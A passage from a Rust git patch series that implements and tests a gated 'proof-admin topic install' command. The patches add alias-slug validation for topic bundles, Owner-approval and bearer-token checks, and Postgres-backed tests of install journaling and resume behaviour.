install +/// refuses rather than recording a binding that cannot score. +pub(crate) fn registered_custom_from_env() -> Vec { + std::env::var(proof_topic_bundle::ENV_CUSTOM_IDS) + .ok() + .map_or_else(Vec::new, |raw| proof_topic_bundle::parse_custom_ids(&raw)) +} + /// The shared acceptance checks, in the order the admin route runs them. /// /// This is the point of the CLI: an operator finds out here — not on the host /// that matters — that a document would be refused, and why. It runs exactly /// the two checks `POST /v1/admin/proof/topics` runs, against the same pin. -fn accept_document(bundle: &TopicInstallBundle, pin: &ProofPin) -> Result<(), Failure> { +pub(crate) fn accept_document(bundle: &TopicInstallBundle, pin: &ProofPin) -> Result<(), Failure> { bundle .validate_shape() .map_err(|e| Failure::Error(e.to_string()))?; @@ -377,7 +450,7 @@ fn accept_document(bundle: &TopicInstallBundle, pin: &ProofPin) -> Result<(), Fa } /// Parse `--env` into an install target. -fn parse_env(raw: &str) -> Result { +pub(crate) fn parse_env(raw: &str) -> Result { raw.parse::().map_err(Failure::Usage) } @@ -437,60 +510,17 @@ fn cmd_validate(opts: &Options, path: &Path, pin_path: &Path) -> Result<(), Fail Ok(()) } -fn cmd_install( - opts: &Options, - path: &Path, - env: &str, - pin_path: &Path, - dry_run: bool, - owner_metal_ack: bool, -) -> Result<(), Failure> { - let bundle = load_bundle(path)?; - let requested = parse_env(env)?; - // Owner default: metal is Owner-only, and staging goes first. A metal - // plan is refused unless the operator asserts both, so a live target can - // never be reached by a default or a copy-pasted staging command. - if requested == InstallEnvironment::Metal && !owner_metal_ack { - return Err(Failure::Usage(format!( - "`--env metal` is Owner-only and requires --owner-metal-ack, which asserts that \ - (a) an Owner authorized this install and (b) staging has passed for this bundle \ - ({}). Install to staging first: `proof-admin topic install --bundle {} --env \ - staging --dry-run`.", - path.display(), - path.display() - ))); - } - let pin = load_pin(pin_path)?; - let plan = bundle - .plan(requested) - .map_err(|e| Failure::Error(format!("{}: {e}", path.display())))?; - // The same acceptance the publish route runs, so a dry run cannot print a - // call that the route would refuse. - accept_document(&bundle, &pin)?; - - if !dry_run { - // Deliberately not implemented in this slice: publishing needs the - // operator bearer, which stays on the host. Printing the call is the - // whole point of P0. - return Err(Failure::NotImplemented( - "a real install is not implemented in this slice (P0: bundle + admin CLI skeleton). \ - Nothing was changed. Run the printed publish call on the host that holds the \ - operator bearer, or use `--dry-run`." - .to_owned(), - )); - } +/// The real install (and the dry run) live in [`install`]. +async fn cmd_install(opts: &Options, args: &InstallArgs<'_>) -> Result<(), Failure> { + install::run(opts, args).await +} - if opts.json { - print_json(&plan)?; - return Ok(()); - } - print_plan(&plan, path, pin_path); - println!(); - println!("Dry run: nothing was written and no host was touched."); - Ok(()) +/// The install journal for one topic. +async fn cmd_install_log(opts: &Options, topic_id: &str) -> Result<(), Failure> { + install::install_log(opts, topic_id).await } -fn print_plan(plan: &TopicInstallPlan, bundle_path: &Path, pin_path: &Path) { +pub(crate) fn print_plan(plan: &TopicInstallPlan, bundle_path: &Path, pin_path: &Path) { println!("topic install plan"); println!(" topic_id {}", plan.topic_id); println!(" display_name {}", plan.display_name); @@ -682,7 +712,7 @@ async fn open_store(opts: &Options) -> Result, Failure> { /// /// The two are mutually exclusive, matching `crates/config`: a value and a /// file that disagree would be a silent choice between two databases. -fn database_url(opts: &Options) -> Result, Failure> { +pub(crate) fn database_url(opts: &Options) -> Result, Failure> { let value = opts .database_url .as_deref() @@ -770,7 +800,7 @@ fn topic_json(row: &TopicVersionRow) -> serde_json::Value { }) } -fn print_json(value: &T) -> Result<(), Failure> { +pub(crate) fn print_json(value: &T) -> Result<(), Failure> { let body = serde_json::to_string_pretty(value).map_err(|e| Failure::Error(e.to_string()))?; println!("{body}"); Ok(()) diff --git a/bins/proof-admin/tests/cli.rs b/bins/proof-admin/tests/cli.rs index 04eadf533..21468d2f1 100644 --- a/bins/proof-admin/tests/cli.rs +++ b/bins/proof-admin/tests/cli.rs @@ -576,13 +576,21 @@ fn install_refuses_an_environment_the_bundle_does_not_declare() { fs::remove_dir_all(&dir).ok(); } -/// A real install is out of scope for this slice: it must refuse loudly rather -/// than write anything, and it must not need a database to say so. +/// A real install needs the master and a bearer, and refuses **before** +/// touching anything when either is missing. +/// +/// This is the P1a contract replacing the P0 stub: `install` without +/// `--dry-run` now performs the install, so the test that matters is that a +/// missing configuration is a usage error naming what to set — not a partial +/// install. The happy path is covered against Postgres in +/// `crates/proof-topic-install/tests/install_engine.rs`. #[test] -fn a_real_install_is_not_implemented_and_changes_nothing() { - let dir = workdir("no-real-install"); +fn a_real_install_refuses_without_a_master_and_a_bearer_and_changes_nothing() { + let dir = workdir("real-install-config"); let bundle = write_file(&dir, "tb4.json", &fixture::bundle_json("metal")); let pin = write_file(&dir, "pin.toml", &fixture::pin_toml()); + + // No --admin-url: refused, and it says how to supply one. let out = run(&[ "topic", "install", @@ -594,11 +602,148 @@ fn a_real_install_is_not_implemented_and_changes_nothing() { "--pin", pin.to_str().unwrap(), ]); - assert_eq!(code(&out), EXIT_NOT_IMPLEMENTED, "stderr={}", stderr(&out)); + assert_eq!(code(&out), EXIT_USAGE, "stderr={}", stderr(&out)); let err = stderr(&out); - assert!(err.contains("not implemented in this slice"), "{err}"); - assert!(err.contains("Nothing was changed"), "{err}"); - assert!(stdout(&out).is_empty(), "a stub prints nothing to stdout"); + assert!(err.contains("--admin-url"), "{err}"); + assert!(err.contains("PROOF_ADMIN_URL"), "{err}"); + assert!( + err.contains("--dry-run"), + "the refusal must point at the dry run: {err}" + ); + assert!(stdout(&out).is_empty(), "a refused install prints no plan"); + + // With a URL but no bearer: refused too, and it names the token file. + let out = run(&[ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "metal", + "--owner-metal-ack", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + "http://127.0.0.1:8100", + ]); + assert_eq!(code(&out), EXIT_USAGE, "stderr={}", stderr(&out)); + let err = stderr(&out); + assert!(err.contains("--admin-token-file"), "{err}"); + assert!(err.contains("PROOF_ADMIN_TOKEN_FILE"), "{err}"); + assert!( + err.contains("never logged or printed"), + "the refusal must say the bearer is handled safely: {err}" + ); + + // An empty tokens file is an error naming the file, not a silent no-op. + let empty = write_file(&dir, "empty-token", "# only a comment\n\n"); + let out = run(&[ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "metal", + "--owner-metal-ack", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + "http://127.0.0.1:8100", + "--admin-token-file", + empty.to_str().unwrap(), + ]); + assert_eq!(code(&out), EXIT_ERROR, "stderr={}", stderr(&out)); + assert!(stderr(&out).contains("holds no bearer"), "{}", stderr(&out)); + + // The bearer is never echoed, in any of those refusals. + for args in [ + vec![ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "metal", + "--owner-metal-ack", + "--pin", + pin.to_str().unwrap(), + ], + vec![ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "metal", + "--owner-metal-ack", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + "http://127.0.0.1:8100", + ], + ] { + let out = run(&args); + assert!( + !stdout(&out).contains("Bearer ") && !stderr(&out).contains("Bearer "), + "the bearer must never be printed: {} {}", + stdout(&out), + stderr(&out) + ); + } + fs::remove_dir_all(&dir).ok(); +} + +/// `--drive-rlm` provisions a VM and runs a paid baseline, so it needs the +/// Owner assertion. Without either flag the install is the static half only. +#[test] +fn driving_the_rlm_requires_the_owner_assertion() { + let dir = workdir("drive-rlm-gate"); + let bundle = write_file(&dir, "tb4.json", &fixture::bundle_json("staging")); + let pin = write_file(&dir, "pin.toml", &fixture::pin_toml()); + let base = |extra: &[&str]| { + let mut a = vec![ + "topic", + "install", + "--bundle", + bundle.to_str().unwrap(), + "--env", + "staging", + "--pin", + pin.to_str().unwrap(), + "--admin-url", + "http://127.0.0.1:8100", + "--admin-token-file", + "/nonexistent/token", + ]; + a.extend_from_slice(extra); + run(&a) + }; + + // --drive-rlm without --owner-approved: refused as usage, before anything. + let out = base(&["--drive-rlm"]); + assert_eq!(code(&out), EXIT_USAGE, "stderr={}", stderr(&out)); + let err = stderr(&out); + assert!(err.contains("--owner-approved"), "{err}"); + assert!(err.contains("provisions a topic VM"), "{err}"); + assert!( + err.contains("paid baseline"), + "the gate must say what it authorizes: {err}" + ); + + // --skip-baseline without --drive-rlm is a contradiction, not a no-op. + let out = base(&["--skip-baseline"]); + assert_eq!(code(&out), EXIT_USAGE, "stderr={}", stderr(&out)); + assert!( + stderr(&out).contains("only means something with --drive-rlm"), + "{}", + stderr(&out) + ); + + // The gates are checked before the token file is read, so a gate refusal + // is a usage error rather than a confusing "file not found". + let out = base(&["--drive-rlm", "--skip-baseline"]); + assert_eq!(code(&out), EXIT_USAGE, "stderr={}", stderr(&out)); + fs::remove_dir_all(&dir).ok(); } @@ -828,23 +973,49 @@ fn enable_disable_and_seal_fail_closed_with_exit_3() { } #[test] -fn help_lists_every_p0_subcommand_and_says_what_is_not_implemented() { +fn help_lists_every_subcommand_and_says_what_is_not_implemented() { let out = run(&["topic", "--help"]); assert_eq!(code(&out), 0); let body = stdout(&out); for sub in [ - "validate", "install", "list", "show", "enable", "disable", "seal", + "validate", + "install", + "install-log", + "list", + "show", + "enable", + "disable", + "seal", ] { assert!(body.contains(sub), "missing subcommand {sub} in:\n{body}"); } + // `topic --help` lists subcommands; the flags live on `install --help`. assert!( - body.contains("--dry-run"), - "the dry-run flag must be discoverable:\n{body}" + !body.contains("not implemented in this slice") + || body.contains("enable") + || body.contains("disable") + || body.contains("seal"), + "the stubs must be the ones that say so:\n{body}" ); + + let out = run(&["topic", "install", "--help"]); + assert_eq!(code(&out), 0); + let body = stdout(&out); + for flag in [ + "--dry-run", + "--skip-baseline", + "--drive-rlm", + "--owner-approved", + "--owner-metal-ack", + "--admin-url", + "--admin-token-file", + ] { + assert!(body.contains(flag), "missing {flag} in:\n{body}"); + } + // And the install help must not promise a stub it no longer is. assert!( - body.to_lowercase() - .contains("not implemented in this slice"), - "the stubs must say so in help:\n{body}" + !body.contains("not implemented in this slice"), + "install is implemented; its help must not say otherwise:\n{body}" ); } diff --git a/crates/proof-topic-bundle/src/lib.rs b/crates/proof-topic-bundle/src/lib.rs index e91498326..a777bb6db 100644 --- a/crates/proof-topic-bundle/src/lib.rs +++ b/crates/proof-topic-bundle/src/lib.rs @@ -74,7 +74,8 @@ pub const MAX_DISPLAY_NAME_LEN: usize = 128; /// (`deny_unknown_fields`), not a second document that could drift from it: /// this list is what a test pins, so adding or removing a key is a deliberate /// edit here rather than a silent widening of what an operator may write. -pub const BUNDLE_KEYS: [&str; 6] = [ +pub const BUNDLE_KEYS: [&str; 7] = [ + "aliases", "display_name", "environment", "host", @@ -85,6 +86,9 @@ pub const BUNDLE_KEYS: [&str; 6] = [ /// Keys with no `serde` default: a bundle that omits one is a parse error /// naming the field, never an empty value that fails later. +/// +/// `aliases` and `rlm` are absent deliberately: a bundle with neither is the +/// common shape, and both default to "nothing extra". pub const REQUIRED_BUNDLE_KEYS: [&str; 5] = [ "display_name", "environment", @@ -93,6 +97,9 @@ pub const REQUIRED_BUNDLE_KEYS: [&str; 5] = [ "topic", ]; +/// Most aliases one bundle may declare. +pub const MAX_ALIASES: usize = 8; + /// Keys of the `host` block, sorted. pub const HOST_KEYS: [&str; 5] = [ "custom_ids_entry", @@ -234,6 +241,27 @@ pub enum BundleError { /// What the document says. document: String, }, + /// An alias is not a usable slug, or is the topic's own id. + #[error( + "alias {alias:?} is not usable: {why} (an alias is a topic slug, \ + `[a-z0-9][a-z0-9-]{{1,62}}`, and may never be the topic's own id — that is a second \ + spelling of the same key in one lookup)" + )] + BadAlias { + /// The alias the bundle declared. + alias: String, + /// Why it is not usable. + why: &'static str, + }, + /// The same alias is declared twice. + #[error("alias {0:?} is declared twice")] + DuplicateAlias(String), + /// More aliases than a bundle may declare. + #[error("bundle declares {got} aliases, at most {MAX_ALIASES} are installed")] + TooManyAliases { + /// How many it declared. + got: usize, + }, /// `custom_ids_entry` names no custom id while the document is custom. #[error( "{ENV_CUSTOM_IDS} does not register this topic's metric.custom_id {custom_id:?}; an \ @@ -498,6 +526,16 @@ pub struct TopicInstallBundle { pub topic: TopicDocument, /// Operator env this install needs. pub host: HostExpectations, + /// Temporary compatibility slugs this topic answers to, if the bundle + /// declares any. + /// + /// Owner default: the first topic's slug is `tb4` with `tbench` as a + /// **temporary** alias so existing miner links keep resolving. An alias + /// is not topic data — the topic's identity is its signed document's + /// `id` — so this is a bundle field that becomes a `proof_topic_alias` + /// row, and retiring it is deleting the row. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub aliases: Vec, /// What the topic's RLM installs. Opaque to Rust: see [`RlmSection`]. #[serde(default)] pub rlm: RlmSection, @@ -533,6 +571,10 @@ pub struct TopicInstallPlan { pub metric_family: MetricFamily, /// `metric.custom_id` (empty on non-custom families). pub custom_id: String, + /// Temporary compatibility aliases this install will point at the topic, + /// in declaration order. Empty when the bundle declares none. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub aliases: Vec, /// In-guest runner the document selects, when it selects one. pub runner_id: Option, /// Experiment pack digest the document pins, when it pins one. @@ -644,12 +686,76 @@ impl TopicInstallBundle { } } self.check_pack_dir()?; + self.check_aliases()?; // Shape only. The RLM section's *content* is the topic's business: // this crate carries it, never interprets it. self.rlm.validate_shape()?; self.cross_check_host() } + /// Whether every declared alias is a usable, distinct, non-self slug. + /// + /// An alias is a **lookup key**: it must be a topic slug shape, it must + /// not be the topic's own id (that is a second spelling of one key), and + /// it must not repeat within the bundle. Whether it collides with another + /// *published* topic is not knowable here — the store and the + /// `0024` trigger decide that at write time, fail-closed. + fn check_aliases(&self) -> Result<(), BundleError> { + if self.aliases.len() > MAX_ALIASES { + return Err(BundleError::TooManyAliases { + got: self.aliases.len(), + }); + } + let mut seen: Vec<&str> = Vec::with_capacity(self.aliases.len()); + for alias in &self.aliases { + let a = alias.trim(); + if a.is_empty() { + return Err(BundleError::BadAlias { + alias: alias.clone(), + why: "it is empty", + }); + } + if a.len() > 63 { + return Err(BundleError::BadAlias { + alias: alias.clone(), + why: "it is longer than 63 characters", + }); + } + let mut chars = a.chars(); + let head_ok = chars + .next() + .is_some_and(|c| c.is_ascii_lowercase() || c.is_ascii_digit()); + let rest_ok = chars.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-'); + if !head_ok || !rest_ok { + return Err(BundleError::BadAlias { + alias: alias.clone(), + why: "it must be `[a-z0-9][a-z0-9-]{1,62}`", + }); + } + if a == self.topic.id { + return Err(BundleError::BadAlias { + alias: alias.clone(), + why: "it is the topic's own id", + }); + } + if seen.contains(&a) { + return Err(BundleError::DuplicateAlias(a.to_owned())); + } + seen.push(a); + } + Ok(()) + } + + /// The aliases this bundle installs, trimmed, in declaration order. + #[must_use] + pub fn aliases(&self) -> Vec { + self.aliases + .iter() + .map(|a| a.trim().to_owned()) + .filter(|a| !a.is_empty()) + .collect() + } + /// Whether `pack_dir` is a usable directory value. fn check_pack_dir(&self) -> Result<(), BundleError> { let Some(dir) = self.host.pack_dir.as_deref() else { @@ -806,6 +912,7 @@ impl TopicInstallBundle { document_status: self.topic.status, metric_family: self.topic.metric.family, custom_id, + aliases: self.aliases(), runner_id: binding.as_ref().map(|b| b.runner.clone()), pack_digest: binding.as_ref().map(|b| b.pack.digest.clone()), publish_route: PUBLISH_ROUTE.to_owned(), @@ -872,6 +979,7 @@ mod tests { pack_dir: Some("/var/lib/proof/packs".into()), custom_ids_entry: Some("tbench".into()), }, + aliases: vec!["tbench".into()], rlm: RlmSection::default(), } } @@ -1411,6 +1519,81 @@ mod tests { assert!(parse_custom_ids(" ").is_empty()); } + /// Aliases are lookup keys, so they are shape-checked here and their + /// collisions with *published* topics are left to the store's fail-closed + /// guard — the bundle cannot know what is published. + #[test] + fn aliases_are_slugs_that_are_neither_the_topic_nor_repeated() { + // The Owner default shape: slug `tb4`, temporary alias `tbench`. + let bundle = tb4(); + assert_eq!(bundle.aliases(), ["tbench"]); + bundle + .validate_shape() + .expect("the default alias validates"); + let plan = bundle.plan(InstallEnvironment::Metal).expect("plan"); + assert_eq!(plan.aliases, ["tbench"]); + + // A bundle with none is the common shape, and the plan carries none. + let mut bare = tb4(); + bare.aliases = Vec::new(); + bare.validate_shape().expect("no aliases is fine"); + assert!(bare.aliases().is_empty()); + assert!(bare + .plan(InstallEnvironment::Metal) + .expect("plan") + .aliases + .is_empty()); + + for bad in [ + "Tbench", // upper case is not a slug + "t bench", // no spaces + "-tbench", // must start alphanumeric + "tbench-", // trailing hyphen is a slug, so this one is fine… + "tbench/x", // no path separators + "tb4", // the topic's own id + "", + ] { + let mut b = tb4(); + b.aliases = vec![bad.into()]; + // A trailing hyphen is a legal slug (`[a-z0-9][a-z0-9-]{1,62}`), + // so it must *not* be refused. + if bad == "tbench-" { + b.validate_shape() + .unwrap_or_else(|e| panic!("{bad:?} is legal: {e}")); + continue; + } + assert!( + matches!(b.validate_shape(), Err(BundleError::BadAlias { .. })), + "{bad:?} must be refused as an alias" + ); + } + + let mut dup = tb4(); + dup.aliases = vec!["tbench".into(), "tbench".into()]; + assert!(matches!( + dup.validate_shape(), + Err(BundleError::DuplicateAlias(ref a)) if a == "tbench" + )); + + let mut many = tb4(); + many.aliases = (0..=MAX_ALIASES).map(|i| format!("alias-{i}")).collect(); + assert!(matches!( + many.validate_shape(), + Err(BundleError::TooManyAliases { got }) if got == MAX_ALIASES + 1 + )); + let mut just_enough = tb4(); + just_enough.aliases = (0..MAX_ALIASES).map(|i| format!("alias-{i}")).collect(); + just_enough + .validate_shape() + .expect("exactly the maximum is allowed"); + + // An alias is a lookup key, never topic data: the bundle's own key + // list still forbids a second place to restate a binding. + let value = serde_json::to_value(tb4()).expect("json"); + assert_eq!(value["aliases"], serde_json::json!(["tbench"])); + assert_eq!(value["topic"]["id"], "tb4"); + } + #[test] fn environments_are_exactly_the_two_install_targets() { assert_eq!(INSTALL_ENVIRONMENTS, ["staging", "metal"]); diff --git a/crates/proof-topic-install/tests/sql_guard.rs b/crates/proof-topic-install/tests/sql_guard.rs index 766a1a97b..cf5b9e35c 100644 --- a/crates/proof-topic-install/tests/sql_guard.rs +++ b/crates/proof-topic-install/tests/sql_guard.rs @@ -13,8 +13,7 @@ #![allow(clippy::unwrap_used, clippy::expect_used)] use proof_topic_install::sql_guard::{ - blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, - OWNED_TABLES, + blank_statements, check_migration, is_topic_scoped, split_statements, OWNED_TABLES, }; use proof_topic_install::InstallError; From 5f5c10ca426e47370eaea8a298d4656c0321fc2a Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:42:13 +0000 Subject: [PATCH 03/11] test(proof): prove the install engine against a real database MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The unit suite proves the gates; these prove the engine, end to end against Postgres, in the convention the store's own contract tests use (DB-gated on `DATABASE_URL`, so `cargo test --workspace` stays green without one). What they pin, in the terms an operator would ask: - A permitted bundle installs: both migrations apply in order, the table really exists in the topic's namespace, the rules the scoring path reads are the ones the install landed, the routes read back through the mux's own query, and the journal's newest row is `applied`. - A **pre-flight refusal writes nothing at all** — no table, no rule, and no journal row, because the deny-list runs before the journal opens. A denied bundle is a no-op, not a failed attempt. - A **step failure does journal**: a migration the database rejected rolls back its own statements (one migration is one transaction) and appends a `failed` row naming it. - A re-run resumes: applied migrations are skipped and named, the rules version is not bumped, routes are not duplicated, and a *new* migration in the bundle still applies. - The gates hold through the engine, not only in the reader: an unregistered open custom id and an arbitrary handler both refuse before any write. Writing them found two real bugs: the handler binding reported the document's runner as a handler *family* (so a Harbor topic journaled as `vm_backed`), and the failure shape was documented as "always journals" when a pre-flight refusal journals nothing. Both are fixed here, and `bound_runner` now records the family the section asked for while the signed document keeps sole authority over the runner. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 1 + crates/proof-topic-install/Cargo.toml | 2 + crates/proof-topic-install/src/handler.rs | 32 +- crates/proof-topic-install/src/install.rs | 16 +- .../tests/handler_allowlist.rs | 30 +- .../tests/install_engine.rs | 654 ++++++++++++++++++ 6 files changed, 712 insertions(+), 23 deletions(-) create mode 100644 crates/proof-topic-install/tests/install_engine.rs diff --git a/Cargo.lock b/Cargo.lock index 7b693c66c..3f541b38f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4058,6 +4058,7 @@ dependencies = [ name = "proof-topic-install" version = "0.1.0" dependencies = [ + "db", "proof-canon", "proof-experiment", "proof-rlm", diff --git a/crates/proof-topic-install/Cargo.toml b/crates/proof-topic-install/Cargo.toml index e64573fda..c8f2ecb9e 100644 --- a/crates/proof-topic-install/Cargo.toml +++ b/crates/proof-topic-install/Cargo.toml @@ -22,6 +22,8 @@ sqlx = { version = "0.8", features = ["runtime-tokio", "postgres", "json", "macr thiserror = "2" [dev-dependencies] +db = { path = "../db", features = ["testing"] } +proof-experiment = { path = "../proof-experiment" } tokio = { version = "1", features = ["macros", "rt-multi-thread"] } [lints] diff --git a/crates/proof-topic-install/src/handler.rs b/crates/proof-topic-install/src/handler.rs index b71504aed..77f6144a6 100644 --- a/crates/proof-topic-install/src/handler.rs +++ b/crates/proof-topic-install/src/handler.rs @@ -148,22 +148,30 @@ pub fn check_handler(name: &str) -> Result { resolve_handler(name).map_err(|e| InstallError::HandlerNotAllowed(e.to_string())) } -/// The runner id an install binds for a topic. +/// The run backend an install binds, from the document and the section. /// -/// The **signed document** is the source of truth: when it selects an -/// in-guest runner, that is the runner, and a bundle that names a different -/// one is a contradiction (the CLI refuses those before reaching here — see -/// `proof_topic_bundle::BundleError::HostContradictsDocument`). When the -/// document selects none, the install binds the topic's registered custom id -/// through the generic runner, which is what the operator's -/// `PROOF_VM_RUNNER_CUSTOM_IDS` entry already does. +/// The two inputs answer two different questions, and both are recorded: +/// +/// - **Which runner** runs the topic's paid jobs is the **signed document's** +/// answer (`constraints.params`). The section cannot override it: the +/// signature is what the scoring path trusts. +/// - **Which handler family** the install bound is the **section's** answer, +/// and it must be on the allow-list. It is audit information — the family +/// is what an operator baked into the guest image — so it is recorded even +/// when the document also names a runner, because a Harbor topic and a +/// generic in-guest topic are operationally different and the journal +/// should say which one this is. +/// +/// Both resolve to the same [`proof_rlm::VmBackedRunner`] over the topic-VM +/// orchestrator; the family never selects a second code path here, and it can +/// never name a binary. #[must_use] pub fn bound_runner( document_runner: Option<&str>, handler: Option, ) -> (Option, Handler) { - match (document_runner, handler) { - (Some(runner), _) => (Some(runner.to_owned()), Handler::VmBacked), - (None, handler) => (None, handler.unwrap_or(Handler::VmBacked)), - } + ( + document_runner.map(str::to_owned), + handler.unwrap_or(Handler::VmBacked), + ) } diff --git a/crates/proof-topic-install/src/install.rs b/crates/proof-topic-install/src/install.rs index bd85725d6..4441bab88 100644 --- a/crates/proof-topic-install/src/install.rs +++ b/crates/proof-topic-install/src/install.rs @@ -42,9 +42,19 @@ //! //! A failure leaves the topic **draft or disabled**: an install never //! publishes an `open` document, so a failed setup cannot produce a topic -//! miners can submit to. Every failure appends a `failed` journal row naming -//! the step and the reason, so the next attempt and the operator can both see -//! what was applied before it stopped. +//! miners can submit to. +//! +//! Refusals come in two kinds, and they differ in what they leave behind: +//! +//! - **Pre-flight refusals** — the deny-list, the handler allow-list, the +//! section shape, and the open-custom-id gate — run before the journal +//! opens, so a bundle they refuse **writes nothing at all**. Not a row, not +//! a rule, not a table. The operator sees the refusal on stderr and fixes +//! the bundle; there is nothing to roll back. +//! - **Step failures** — a migration the database rejected, a store error — +//! happen after the journal opens, so they append a `failed` row naming the +//! step and the reason. The migrations already applied stay applied and are +//! recorded, so the next attempt resumes from them rather than restarting. use std::collections::BTreeSet; diff --git a/crates/proof-topic-install/tests/handler_allowlist.rs b/crates/proof-topic-install/tests/handler_allowlist.rs index 152c62b22..da2218ab6 100644 --- a/crates/proof-topic-install/tests/handler_allowlist.rs +++ b/crates/proof-topic-install/tests/handler_allowlist.rs @@ -119,25 +119,39 @@ fn the_section_reader_enforces_the_allow_list() { } } -/// The **signed document** wins for the runner: a bundle cannot bind a -/// different runner than the one the operator signed. When the document -/// selects none, the section's handler family is what is recorded. +/// The **signed document** wins for the runner; the section supplies only the +/// handler family, which is recorded for audit. +/// +/// The two are independent questions: the document says which runner the paid +/// jobs use (and only the signature can answer that), while the section says +/// which family the operator baked into the guest image. #[test] -fn the_signed_document_wins_for_the_runner() { +fn the_signed_document_wins_for_the_runner_and_the_section_names_the_family() { // A document that selects a runner: that runner is bound, and the family - // is the generic in-guest runner whatever the section said. + // is the section's (allow-listed) answer, recorded for audit. let (runner, handler) = bound_runner(Some("operator_adaptor_v0"), Some(Handler::Harbor)); assert_eq!(runner.as_deref(), Some("operator_adaptor_v0")); - assert_eq!(handler, Handler::VmBacked); + assert_eq!( + handler, + Handler::Harbor, + "the family is the section's answer, and it is recorded" + ); - // A document that selects none: nothing is bound as a runner, and the - // handler family is whatever the section allow-listed (default vm_backed). + // A document that selects none: no runner is bound, and the family is + // whatever the section allow-listed (default vm_backed). let (runner, handler) = bound_runner(None, Some(Handler::Harbor)); assert_eq!(runner, None); assert_eq!(handler, Handler::Harbor); let (runner, handler) = bound_runner(None, None); assert_eq!(runner, None); assert_eq!(handler, Handler::VmBacked, "the fail-closed default"); + + // Whatever the family, the runner the document named is unchanged: the + // section can never redirect a topic to a different runner. + for handler in Handler::ALL { + let (runner, _) = bound_runner(Some("operator_adaptor_v0"), Some(handler)); + assert_eq!(runner.as_deref(), Some("operator_adaptor_v0")); + } } /// The crate compiles no challenge: no benchmark, harness, model, or task diff --git a/crates/proof-topic-install/tests/install_engine.rs b/crates/proof-topic-install/tests/install_engine.rs new file mode 100644 index 000000000..895ed99ca --- /dev/null +++ b/crates/proof-topic-install/tests/install_engine.rs @@ -0,0 +1,654 @@ +//! The install engine, end to end against Postgres. +//! +//! These tests are DB-gated: they run when `DATABASE_URL` names a Postgres +//! instance the test role can create a schema in, and skip silently +//! otherwise. That is the same convention the store's own contract tests use, +//! so `cargo test --workspace` stays green on a laptop with no database while +//! CI (and a staging host) exercises the real thing. +//! +//! What they cover is the part unit tests cannot: that a **permitted** +//! migration actually applies, that its objects land in the topic's +//! namespace, that a denied one leaves nothing behind, that a re-run resumes +//! from the journal instead of re-applying, and that the routes and rules an +//! install records are the ones the scoring path will read. + +#![allow(clippy::unwrap_used, clippy::expect_used)] + +use proof_rlm_store::{MemoryRlmStore, PgRlmStore, RlmStore}; +use proof_task::{ + default_adamw, holdout_commitment, synthetic_holdout, MetricDirection, MetricFamily, + MetricSpec, PayoutMode, TopicDocument, TopicStatus, FLOPS_BUDGET_MAX, STRATUM_SIZE, +}; +use proof_topic_install::install::{InstallRequest, InstallState, Installer, SetupSummary}; +use proof_topic_install::{latest_install, topic_routes, InstallError, VMS_PER_SUBMISSION}; +use sqlx::PgPool; + +/// The test database, or `None` when the suite should skip. +async fn test_pool() -> Option<(db::TestPool, PgPool)> { + let url = std::env::var("DATABASE_URL") + .ok() + .map(|u| u.trim().to_owned()) + .filter(|u| !u.is_empty())?; + let tp = match db::test_pool_with_url(&url).await { + Ok(tp) => tp, + Err(e) => panic!("test_pool: {e}"), + }; + let pool = tp.pool().clone(); + Some((tp, pool)) +} + +/// A signed custom topic selecting an in-guest runner, the shape a real +/// bundle carries. +fn topic(id: &str) -> TopicDocument { + let mut doc = TopicDocument { + id: id.into(), + statement: "Score the pinned pack with the pinned runner.".into(), + payout_mode: PayoutMode::Discovery, + metric: MetricSpec { + family: MetricFamily::Custom, + primary: "primary_value".into(), + direction: MetricDirection::Max, + unit: "rate".into(), + epsilon_rel: 0.05, + custom_id: format!("{id}-metric"), + ..MetricSpec::default() + }, + baseline: default_adamw(FLOPS_BUDGET_MAX), + holdout_commitment: holdout_commitment(&synthetic_holdout(STRATUM_SIZE, 1)), + status: TopicStatus::Draft, + ..TopicDocument::default() + }; + doc.constraints.params.insert( + proof_experiment::PARAM_RUNNER.into(), + "operator_adaptor_v0".into(), + ); + doc.constraints + .params + .insert(proof_experiment::PARAM_PACK_DIGEST.into(), digest()); + doc.signature = "ab".repeat(64); + doc +} + +fn digest() -> String { + format!("sha256:{}", "cd".repeat(32)) +} + +/// An install request over `doc` with the given RLM section. +fn request<'a>(doc: &'a TopicDocument, rlm: &'a str) -> InstallRequest<'a> { + InstallRequest { + topic: doc, + bundle_digest: digest(), + environment: "staging".into(), + rlm_raw: rlm, + registered_custom: vec![format!("{}-metric", doc.id)], + skip_baseline: false, + } +} + +/// The RLM section a real bundle carries, in the shape the section reader +/// reads. +fn section(id: &str) -> String { + format!( + r#"{{ + "rules": [ + {{"id": "no_short_circuit", "text": "the harness must run the task"}}, + {{"id": "no_holdout_leak", "text": "the artefact must not carry holdout records"}} + ], + "migrations": [ + {{"name": "0001_scratch", "sql": "CREATE TABLE {id}_scratch (id TEXT, note TEXT)"}}, + {{"name": "0002_index", "sql": "CREATE INDEX {id}_scratch_idx ON {id}_scratch (id)"}} + ], + "apis": [ + {{"path": "status", "method": "GET", "summary": "topic status"}}, + {{"path": "runs/{id}", "method": "GET"}} + ], + "submission_format": {{"kind": "tar", "max_bytes": 5242880}}, + "scoring": {{"primary": "primary_value", "epsilon_rel": 0.05}}, + "handler": "harbor" + }}"# + ) + .replace("{id}", id) +} + +/// The happy path: every step applies, and the journal records it. +#[tokio::test] +async fn a_permitted_bundle_installs_and_the_journal_records_it() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = 